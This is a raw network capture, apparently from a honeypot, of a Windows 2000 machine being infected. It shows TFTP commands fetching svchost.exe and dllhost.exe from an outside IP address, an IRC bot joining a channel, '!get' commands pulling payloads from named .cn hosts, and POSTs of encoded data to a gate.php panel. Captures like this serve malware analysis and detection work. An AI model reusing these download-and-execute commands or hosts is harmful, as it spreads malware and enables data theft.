VICTIM:  	Microsoft Windows 2000 [Version 5.00.2195] 
VICTIM:  	(C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. 
VICTIM:  	 Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\winsFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\dllcacheFile Not FoundC:\\WINNT\\system32> 
VICTIM:  	tftp -i 70.184.102.222 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	Transfer successful: 29456 bytes in 3 seconds, 9818 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	tftp -i 70.184.102.222 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	Transfer successful: 19968 bytes in 2 seconds, 9984 bytes/s 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK onyukcdkUSER s020500 . . :- 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	:u. PRIVMSG onyukcdk :!get http:/giopnon.cn/10.exe:u. PRIVMSG onyukcdk :!get http:/pozemle.cn/in/he.txt:u. PRIVMSG onyukcdk :!get http:/colopin.cn/lib/so.txt:u. PRIVMSG onyukcdk :!get http:/colopin.cn/oc/box.txt 
VICTIM:  	GET /in/he.txt HTTP/1.0User-Agent: DownloadHost: pozemle.cnPragma: no-cache 
ATTACKER:	GET /lib/so.txt HTTP/1.0User-Agent: DownloadHost: colopin.cnPragma: no-cache 
ATTACKER:	GET /oc/box.txt HTTP/1.0User-Agent: DownloadHost: colopin.cnPragma: no-cache 
ATTACKER:	GET /op/lgate.php?n=6D05DF620DE704D8 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: colopin.cnConnection: Keep-Alive 
ATTACKER:	GET /sssvchost.exe HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 64.235.53.208Connection: Keep-Alive 
ATTACKER:	GET /mkihghhfrst.exe HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 193.104.27.211Connection: Keep-Alive 
ATTACKER:	PING :k. 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	GET /bt4/fout.php HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: colopin.cnConnection: Keep-Alive 
ATTACKER:	GET /lib/pm.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: colopin.cnConnection: Keep-Alive 
ATTACKER:	PING :k. 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
VICTIM:  	POST /tpsa/gate/r.php HTTP/1.0Content-Type: application/x-www-form-urlencodedUser-Agent: VRT2Host: commerceclick.co.ukContent-Length: 113Pragma: no-caches=0000370234522f43f05d29289a309eb749fa4519bc78e02e08e20f02912ea43f4ef70b3d517f7q0d16129l0t1q1d2817l0t1q9d7937l0t1 
ATTACKER:	PING :k. 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
VICTIM:  	POST /tpsa/gate/data.php HTTP/1.0Content-Type: application/x-www-form-urlencodedUser-Agent: VRT2Host: commerceclick.co.ukContent-Length: 76Pragma: no-cache7F715D3B07FE4F34AE21920F02E80E20E87CB9154AF947BE903A98292D50F34F\t\003\000ya.ru/0/0 
VICTIM:  	POST /tpsa/gate/data.php HTTP/1.0Content-Type: application/x-www-form-urlencodedUser-Agent: VRT2Host: commerceclick.co.ukContent-Length: 93Pragma: no-cache7F715D3B07FE4F34AE21920F02E80E20E87CB9154AF947BE903A98292D50F34F\001\377\000AAAAAAAANH.050000021950200 
ATTACKER:	PING :k. 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PONG :k. 
VICTIM:  	JOIN &virtu